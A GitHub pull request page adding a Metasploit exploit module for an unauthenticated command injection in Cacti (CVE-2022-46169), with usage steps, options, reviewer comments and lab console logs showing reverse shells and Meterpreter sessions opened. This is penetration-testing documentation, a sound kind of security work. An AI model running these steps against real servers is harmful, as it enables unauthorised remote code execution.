Sign in

rapid7 / metasploit-framework Public

Notifications | Fork 14k | Star 34.1k

Code | Issues 409 | Pull requests 43 | Discussions | Actions | Projects 1 | Wiki

Add cacti_unauthenticated_cmd_injection module and docs (CVE-2022-46169) #17407

New issue

Merged space-r7 merged 3 commits into `rapid7:master` from `ErikWynter:cacti_unauth_rce` on Jan 23, 2023

Conversation 15 | Commits 3 | Checks 0 | Files changed

ErikWynter commented on Dec 22, 2022 Contributor ···

About

This change adds an exploit module and docs for an unauthenticated command injection vulnerability in Cacti through 1.2.22 (CVE-2022-46169).

Vulnerable Application

Cacti through 1.2.22 is affected. However, the module has only been tested against 1.2.22.

Installation Information

- Cacti is open source, and vulnerable versions can be obtained from the official GitHub repository under releases.
- As a shortcut, a vulhub entry is available here that allows you to spin up a vulnerable instance via a single docker-compose command. The vulhub page also contains instructions for how

Reviewers

space-r7

cdelafuente-r7

adfoster-r7

Assignees

space-r7

Labels

docs module rn-modules

Projects

Metasploit Kanban

Archived in project

Milestone

No milestone

to complete the Cacti installation, how to make it vulnerable, and a PoC.

- Additional details about the exploit are available here

Verification Steps

1. Start msfconsole
2. Do: `use exploit/linux/http/cacti_unauthenticated_cmd_injection`
3. Do: `set RHOSTS [IP]`
4. Do: `set LHOST [IP]`
5. Do: `set SRVHOST [IP]`
6. Do: `exploit`

Options

TARGETURI

The base path to Cacti. The default value is `/`.

HOST_ID

The `host_id` value to use. By default, the module will try to bruteforce this.

LOCAL_DATA_ID

The `local_data_id` value to use. By default, the module will try to bruteforce this.

X_FORWARDED_FOR_IP

The IP to use in the `X-Forwarded-For` HTTP header. This should be resolvable to a hostname in the poller table. Default: 127.0.0.1

Advanced Options

MIN_HOST_ID

Development

Successfully merging this pull request may close these issues.

5 participants

Lower value for the range of possible `host_id` values to check for. Default: 1

MAX_HOST_ID

Upper value for the range of possible `host_id` values to check for. Default: 5

MIN_LOCAL_DATA_ID

Lower value for the range of possible local_data_id values to check for. Default: 1

MAX_LOCAL_DATA_ID

Upper value for the range of possible local_data_id values to check for. Default: 100

Targets

```
Id  Name
--  ----
0   Automatic (Unix In-Memory)
1   Automatic (Linux Dropper)
```

Scenarios

Cacti 1.2.22 - Linux Dropper - HOST_ID and LOCAL_DATA_ID not set (bruteforce)

```
msf6 exploit(linux/http/cacti_unauthenticated_cmd_

Module options (exploit/linux/http/cacti_unauthenticated

   Name                 Current Setting  Required  Descri
   ----                 ---------------  --------  ------
   HOST_ID                               no        The ho
   LOCAL_DATA_ID                         no        The lo
   Proxies                               no        A prox
   RHOSTS               192.168.91.195   yes       The ta
   RPORT                8080             yes       The ta
   SRVHOST              192.168.91.195   yes       The lo
```

```
                                                 resses
   SRVPORT             9090            yes       The lo
   SSL                 false           no        Negoti
   SSLCert                             no        Path t
   TARGETURI           /               yes       The ba
   URIPATH                             no        The UR
   VHOST                               no        HTTP s
   X_FORWARDED_FOR_IP  127.0.0.1       yes       The IP


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.91.195   yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Automatic (Linux Dropper)



View the full module info with the info, or info -d comm

msf6 exploit(linux/http/cacti_unauthenticated_cmd_inject

[*] Started reverse TCP handler on 192.168.91.195:4444
[*] Running automatic check ("set AutoCheck false" to di
[+] The target appears to be vulnerable. The target is C
[*] Trying to bruteforce an exploitable host_id and loca
[*] Enumerating local_data_id values for host_id 1
[*] Performing request 25...
[*] Performing request 50...
[*] Performing request 75...
[+] Found exploitable local_data_id 180 for host_id 1
[*] Sending stage (1017704 bytes) to 10.18.0.3
[*] Command Stager progress - 100.00% done (773/773 byte
[*] Meterpreter session 1 opened (192.168.91.195:4444 ->

meterpreter > getuid
Server username: www-data
```

Cacti 1.2.22 - Unix In-Memory - HOST_ID and LOCAL_DATA_ID set (immediate exploitation)

```
msf6 exploit(linux/http/cacti_unauthenticated_cmd_

Module options (exploit/linux/http/cacti_unauthenticated

   Name               Current Setting  Required  Descri
   ----               ---------------  --------  ------
   HOST_ID            1                no        The ho
   LOCAL_DATA_ID      182              no        The lo
   Proxies                             no        A prox
   RHOSTS             192.168.91.195   yes       The ta
   RPORT              8080             yes       The ta
   SRVHOST            192.168.91.195   yes       The lo
                                                 resses
   SRVPORT            9090             yes       The lo
   SSL                false            no        Negoti
   SSLCert                             no        Path t
   TARGETURI          /                yes       The ba
   URIPATH                             no        The UR
   VHOST                               no        HTTP s
   X_FORWARDED_FOR_IP  127.0.0.1       yes       The IP


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.91.195   yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic (Unix In-Memory)



View the full module info with the info, or info -d comm

msf6 exploit(linux/http/cacti_unauthenticated_cmd_inject

[*] Started reverse TCP handler on 192.168.91.195:4444
[*] Running automatic check ("set AutoCheck false" to di
[+] The target appears to be vulnerable. The target is C
[*] Executing the payload. This may take a few seconds..
[*] Command shell session 1 opened (192.168.91.195:4444

uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Cacti 1.2.22 - Linux Dropper - HOST_ID and LOCAL_DATA_ID not set (bruteforce with undetermined result, then manual exploitation)

```
msf6 exploit(linux/http/cacti_unauthenticated_cmd_    t

Module options (exploit/linux/http/cacti_unauthenticated

   Name                Current Setting  Required  Descri
   ----                ---------------  --------  ------
   HOST_ID                              no        The ho
   LOCAL_DATA_ID                        no        The lo
   Proxies                              no        A prox
   RHOSTS              192.168.91.195   yes       The ta
   RPORT               8080             yes       The ta
   SRVHOST             192.168.91.195   yes       The lo
                                                  resses
   SRVPORT             9090             yes       The lo
   SSL                 false            no        Negoti
   SSLCert                              no        Path t
   TARGETURI           /                yes       The ba
   URIPATH                              no        The UR
   VHOST                                no        HTTP s
   X_FORWARDED_FOR_IP  127.0.0.1        yes       The IP


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.91.195   yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Automatic (Linux Dropper)



View the full module info with the info, or info -d comm

msf6 exploit(linux/http/cacti_unauthenticated_cmd_inject

[*] Started reverse TCP handler on 192.168.91.195:4444
[*] Running automatic check ("set AutoCheck false" to di
[+] The target appears to be vulnerable. The target is C
[*] Trying to bruteforce an exploitable host_id and loca
[*] Enumerating local_data_id values for host_id 1
[*] Performing request 25...
[*] Performing request 50...
[*] Performing request 75...
[*] Performing request 100...
[*] Enumerating local_data_id values for host_id 2
[*] Performing request 125...
[*] Performing request 150...
[*] Performing request 175...
[*] Performing request 200...
[*] Enumerating local_data_id values for host_id 3
[*] Performing request 225...
[*] Performing request 250...
[*] Performing request 275...
[*] Performing request 300...
[*] Enumerating local_data_id values for host_id 4
[*] Performing request 325...
[*] Performing request 350...
[*] Performing request 375...
[*] Performing request 400...
[*] Enumerating local_data_id values for host_id 5
[*] Performing request 425...
[*] Performing request 450...
[*] Performing request 475...
[*] Performing request 500...
[!] Identified 15 host_id - local_data_id combination(s)
        host_id: 1 - local_data_id: 156
        host_id: 1 - local_data_id: 157
        host_id: 1 - local_data_id: 158
        host_id: 1 - local_data_id: 164
        host_id: 1 - local_data_id: 166
        host_id: 1 - local_data_id: 167
        host_id: 1 - local_data_id: 168
        host_id: 1 - local_data_id: 169
        host_id: 1 - local_data_id: 170
        host_id: 1 - local_data_id: 173
        host_id: 1 - local_data_id: 174
        host_id: 1 - local_data_id: 175
        host_id: 1 - local_data_id: 176
        host_id: 1 - local_data_id: 177
        host_id: 1 - local_data_id: 178
[*] You can try to exploit these by manually configuring
[-] Exploit aborted due to failure: no-target: Failed to
[*] Exploit completed, but no session was created.
msf6 exploit(linux/http/cacti_unauthenticated_cmd_inject
host_id => 1
msf6 exploit(linux/http/cacti_unauthenticated_cmd_inject
local_data_id => 156
msf6 exploit(linux/http/cacti_unauthenticated_cmd_inject

[*] Started reverse TCP handler on 192.168.91.195:4444
[*] Running automatic check ("set AutoCheck false" to di
[+] The target appears to be vulnerable. The target is C
[*] Sending stage (1017704 bytes) to 10.18.0.3
[*] Command Stager progress - 100.00% done (773/773 byte
[*] Meterpreter session 2 opened (192.168.91.195:4444 ->

meterpreter > getuid
Server username: www-data
```

👍 1 ❤️ 1

`add cacti_unauthenticated_cmd_injection` 4c2dfe0

adfoster-r7 reviewed on Dec 22, 2022 **View reviewed changes**

`modules/exploits/linux/http/cacti_unauthenticated_cmd_injection.rb` Outdated Show resolved

`fix typo and add credit for discovery` 8f96746

jvoisin commented on Jan 4, 2023 Contributor •••

Some reference to add: https://www.sonarsource.com/blog/cacti-unauthenticated-remote-code-execution/

👍 1

space-r7 added **module** **docs** labels on Jan 4, 2023

cdelafuente-r7 reviewed on Jan 5, 2023 **View reviewed changes**

`modules/exploits/linux/http/cacti_unauthenticated_cmd_injection.rb` Outdated Show resolved

space-r7 self-assigned this on Jan 9, 2023

space-r7 reviewed on Jan 9, 2023 View reviewed changes

space-r7 left a comment Contributor ···

No suggestions regarding code. Just marked a few typos found. Thanks!

`modules/exploits/linux/http/cacti_unauthenticated_cmd_injection.rb` Outdated Show resolved

`modules/exploits/linux/http/cacti_unauthenticated_cmd_injection.rb` Outdated Show resolved

`modules/exploits/linux/http/cacti_unauthenticated_cmd_injection.rb` Outdated Show resolved

`fix typos, add reference, don't use methods to wrap datastore options` `8472efe`

ErikWynter commented on Jan 13, 2023 Contributor Author ···

@space-r7 thanks for the feedback. My latest commit addresses all the issues that were mentioned here. Let me know if there's anything else I can do to help get this landed :)

👍 1

space-r7 reviewed on Jan 19, 2023 View reviewed changes

space-r7 left a comment Contributor ···

Tested your module, sorry for the delay! Just left a note about adding valid command stager options.

▶ Target 0

▶ Target 1

`modules/exploits/linux/http/cacti_unauthenticated_cmd_injection.rb` Show resolved

space-r7 commented on Jan 23, 2023 Contributor ···

Tested versions 1.2.18 and 1.2.22:

▶ v1.2.18 bruteforcing IDs (Both targets)

▶ v1.2.22 bruteforcing IDs (Target 1)

▶ v1.2.22 using datastore options for ids (Both targets)

space-r7 added a commit that referenced this pull request on Jan 23, 2023

`Land #17407, add Cacti unauth command injection` 153af9f

space-r7 merged commit **8472efe** into `rapid7:master` on Jan 23, 2023

space-r7 added the rn-modules label on Jan 23, 2023

space-r7 commented on Jan 23, 2023 Contributor ···

Release Notes

This adds an exploit that targets various versions of Cacti network-monitoring software. For versions `1.2.22` and below, there exists an unauthenticated command injection vulnerability in `remote_agent.php` that when exploited, will result in remote code execution as the user running the Cacti server.